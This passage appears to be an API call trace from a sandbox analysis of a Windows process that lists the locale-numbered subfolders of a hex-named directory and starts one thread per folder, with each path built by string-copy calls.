	[0073.098] wcscpy (in: _Dest=0x2d715c0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.098] wcscat (in: _Dest=0x2d715c0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.098] wcscat (in: _Dest=0x2d715c0, _Source="1025" | out: _Dest="C:\\588bce7c90097ed212\\1025") returned="C:\\588bce7c90097ed212\\1025"
	[0073.098] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d715c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x39c
	[0073.099] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1028", cAlternateFileName="")) returned 1
	[0073.099] wcscmp (_String1="1028", _String2=".") returned 1
	[0073.099] wcscmp (_String1="1028", _String2="..") returned 1
	[0073.099] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d710c0
	[0073.099] wcscpy (in: _Dest=0x2d710c0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.099] wcscat (in: _Dest=0x2d710c0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.099] wcscat (in: _Dest=0x2d710c0, _Source="1028" | out: _Dest="C:\\588bce7c90097ed212\\1028") returned="C:\\588bce7c90097ed212\\1028"
	[0073.099] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d710c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a0
	[0073.100] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1029", cAlternateFileName="")) returned 1
	[0073.100] wcscmp (_String1="1029", _String2=".") returned 1
	[0073.100] wcscmp (_String1="1029", _String2="..") returned 1
	[0073.100] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d711c0
	[0073.100] wcscpy (in: _Dest=0x2d711c0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.100] wcscat (in: _Dest=0x2d711c0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.100] wcscat (in: _Dest=0x2d711c0, _Source="1029" | out: _Dest="C:\\588bce7c90097ed212\\1029") returned="C:\\588bce7c90097ed212\\1029"
	[0073.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d711c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a4
	[0073.101] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1030", cAlternateFileName="")) returned 1
	[0073.101] wcscmp (_String1="1030", _String2=".") returned 1
	[0073.101] wcscmp (_String1="1030", _String2="..") returned 1
	[0073.101] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d70fc0
	[0073.101] wcscpy (in: _Dest=0x2d70fc0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.101] wcscat (in: _Dest=0x2d70fc0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.101] wcscat (in: _Dest=0x2d70fc0, _Source="1030" | out: _Dest="C:\\588bce7c90097ed212\\1030") returned="C:\\588bce7c90097ed212\\1030"
	[0073.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70fc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a8
	[0073.101] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1031", cAlternateFileName="")) returned 1
	[0073.101] wcscmp (_String1="1031", _String2=".") returned 1
	[0073.101] wcscmp (_String1="1031", _String2="..") returned 1
	[0073.101] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d71240
	[0073.101] wcscpy (in: _Dest=0x2d71240, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.101] wcscat (in: _Dest=0x2d71240, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.102] wcscat (in: _Dest=0x2d71240, _Source="1031" | out: _Dest="C:\\588bce7c90097ed212\\1031") returned="C:\\588bce7c90097ed212\\1031"
	[0073.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d71240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ac
	[0073.102] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1032", cAlternateFileName="")) returned 1
	[0073.102] wcscmp (_String1="1032", _String2=".") returned 1
	[0073.102] wcscmp (_String1="1032", _String2="..") returned 1
	[0073.102] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d713c0
	[0073.102] wcscpy (in: _Dest=0x2d713c0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.102] wcscat (in: _Dest=0x2d713c0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.102] wcscat (in: _Dest=0x2d713c0, _Source="1032" | out: _Dest="C:\\588bce7c90097ed212\\1032") returned="C:\\588bce7c90097ed212\\1032"
	[0073.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d713c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0
	[0073.103] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0073.103] wcscmp (_String1="1033", _String2=".") returned 1
	[0073.103] wcscmp (_String1="1033", _String2="..") returned 1
	[0073.103] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d70f00
	[0073.103] wcscpy (in: _Dest=0x2d70f00, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.103] wcscat (in: _Dest=0x2d70f00, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.103] wcscat (in: _Dest=0x2d70f00, _Source="1033" | out: _Dest="C:\\588bce7c90097ed212\\1033") returned="C:\\588bce7c90097ed212\\1033"
	[0073.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4
	[0073.104] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1035", cAlternateFileName="")) returned 1
	[0073.104] wcscmp (_String1="1035", _String2=".") returned 1
	[0073.104] wcscmp (_String1="1035", _String2="..") returned 1
	[0073.104] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d71100
	[0073.104] wcscpy (in: _Dest=0x2d71100, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.104] wcscat (in: _Dest=0x2d71100, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.104] wcscat (in: _Dest=0x2d71100, _Source="1035" | out: _Dest="C:\\588bce7c90097ed212\\1035") returned="C:\\588bce7c90097ed212\\1035"
	[0073.104] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d71100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b8
	[0073.105] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1
	[0073.105] wcscmp (_String1="1036", _String2=".") returned 1
	[0073.105] wcscmp (_String1="1036", _String2="..") returned 1
	[0073.105] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d71280
	[0073.105] wcscpy (in: _Dest=0x2d71280, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.105] wcscat (in: _Dest=0x2d71280, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.105] wcscat (in: _Dest=0x2d71280, _Source="1036" | out: _Dest="C:\\588bce7c90097ed212\\1036") returned="C:\\588bce7c90097ed212\\1036"
	[0073.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d71280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3bc
	[0073.105] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1037", cAlternateFileName="")) returned 1
	[0073.105] wcscmp (_String1="1037", _String2=".") returned 1
	[0073.105] wcscmp (_String1="1037", _String2="..") returned 1
	[0073.105] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d70f40
	[0073.105] wcscpy (in: _Dest=0x2d70f40, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.105] wcscat (in: _Dest=0x2d70f40, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.105] wcscat (in: _Dest=0x2d70f40, _Source="1037" | out: _Dest="C:\\588bce7c90097ed212\\1037") returned="C:\\588bce7c90097ed212\\1037"
	[0073.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c0
	[0073.106] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1038", cAlternateFileName="")) returned 1
	[0073.106] wcscmp (_String1="1038", _String2=".") returned 1
	[0073.106] wcscmp (_String1="1038", _String2="..") returned 1
	[0073.106] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d71400
	[0073.106] wcscpy (in: _Dest=0x2d71400, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.106] wcscat (in: _Dest=0x2d71400, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.106] wcscat (in: _Dest=0x2d71400, _Source="1038" | out: _Dest="C:\\588bce7c90097ed212\\1038") returned="C:\\588bce7c90097ed212\\1038"
	[0073.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d71400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c4
	[0073.107] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1040", cAlternateFileName="")) returned 1
	[0073.107] wcscmp (_String1="1040", _String2=".") returned 1
	[0073.107] wcscmp (_String1="1040", _String2="..") returned 1
	[0073.107] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d71180
	[0073.107] wcscpy (in: _Dest=0x2d71180, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.107] wcscat (in: _Dest=0x2d71180, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.107] wcscat (in: _Dest=0x2d71180, _Source="1040" | out: _Dest="C:\\588bce7c90097ed212\\1040") returned="C:\\588bce7c90097ed212\\1040"
	[0073.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d71180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c8
	[0073.108] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1041", cAlternateFileName="")) returned 1
	[0073.108] wcscmp (_String1="1041", _String2=".") returned 1
	[0073.108] wcscmp (_String1="1041", _String2="..") returned 1
	[0073.108] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d71300
	[0073.108] wcscpy (in: _Dest=0x2d71300, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.108] wcscat (in: _Dest=0x2d71300, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.108] wcscat (in: _Dest=0x2d71300, _Source="1041" | out: _Dest="C:\\588bce7c90097ed212\\1041") returned="C:\\588bce7c90097ed212\\1041"
	[0073.108] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d71300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3cc
	[0073.108] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1042", cAlternateFileName="")) returned 1
	[0073.108] wcscmp (_String1="1042", _String2=".") returned 1
	[0073.108] wcscmp (_String1="1042", _String2="..") returned 1
	[0073.108] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d70f80
	[0073.109] wcscpy (in: _Dest=0x2d70f80, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.109] wcscat (in: _Dest=0x2d70f80, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.109] wcscat (in: _Dest=0x2d70f80, _Source="1042" | out: _Dest="C:\\588bce7c90097ed212\\1042") returned="C:\\588bce7c90097ed212\\1042"
	[0073.109] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0
	[0073.109] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1043", cAlternateFileName="")) returned 1
	[0073.109] wcscmp (_String1="1043", _String2=".") returned 1
	[0073.109] wcscmp (_String1="1043", _String2="..") returned 1
	[0073.109] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d71440
	[0073.109] wcscpy (in: _Dest=0x2d71440, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.110] wcscat (in: _Dest=0x2d71440, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.110] wcscat (in: _Dest=0x2d71440, _Source="1043" | out: _Dest="C:\\588bce7c90097ed212\\1043") returned="C:\\588bce7c90097ed212\\1043"
	[0073.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d71440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4
	[0073.110] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1044", cAlternateFileName="")) returned 1
	[0073.110] wcscmp (_String1="1044", _String2=".") returned 1
	[0073.110] wcscmp (_String1="1044", _String2="..") returned 1
	[0073.110] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d712c0
	[0073.110] wcscpy (in: _Dest=0x2d712c0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.110] wcscat (in: _Dest=0x2d712c0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.110] wcscat (in: _Dest=0x2d712c0, _Source="1044" | out: _Dest="C:\\588bce7c90097ed212\\1044") returned="C:\\588bce7c90097ed212\\1044"
	[0073.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d712c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8
	[0073.111] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1045", cAlternateFileName="")) returned 1
	[0073.111] wcscmp (_String1="1045", _String2=".") returned 1
	[0073.111] wcscmp (_String1="1045", _String2="..") returned 1
	[0073.111] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d71340
	[0073.111] wcscpy (in: _Dest=0x2d71340, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.111] wcscat (in: _Dest=0x2d71340, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.111] wcscat (in: _Dest=0x2d71340, _Source="1045" | out: _Dest="C:\\588bce7c90097ed212\\1045") returned="C:\\588bce7c90097ed212\\1045"
	[0073.111] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d71340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc
	[0073.112] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1046", cAlternateFileName="")) returned 1
	[0073.112] wcscmp (_String1="1046", _String2=".") returned 1
	[0073.112] wcscmp (_String1="1046", _String2="..") returned 1
	[0073.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d71480
	[0073.112] wcscpy (in: _Dest=0x2d71480, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.112] wcscat (in: _Dest=0x2d71480, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.112] wcscat (in: _Dest=0x2d71480, _Source="1046" | out: _Dest="C:\\588bce7c90097ed212\\1046") returned="C:\\588bce7c90097ed212\\1046"
	[0073.112] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d71480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0
	[0073.113] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1049", cAlternateFileName="")) returned 1
	[0073.113] wcscmp (_String1="1049", _String2=".") returned 1
	[0073.113] wcscmp (_String1="1049", _String2="..") returned 1
	[0073.113] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d71500
	[0073.113] wcscpy (in: _Dest=0x2d71500, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.113] wcscat (in: _Dest=0x2d71500, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.113] wcscat (in: _Dest=0x2d71500, _Source="1049" | out: _Dest="C:\\588bce7c90097ed212\\1049") returned="C:\\588bce7c90097ed212\\1049"
	[0073.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d71500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4
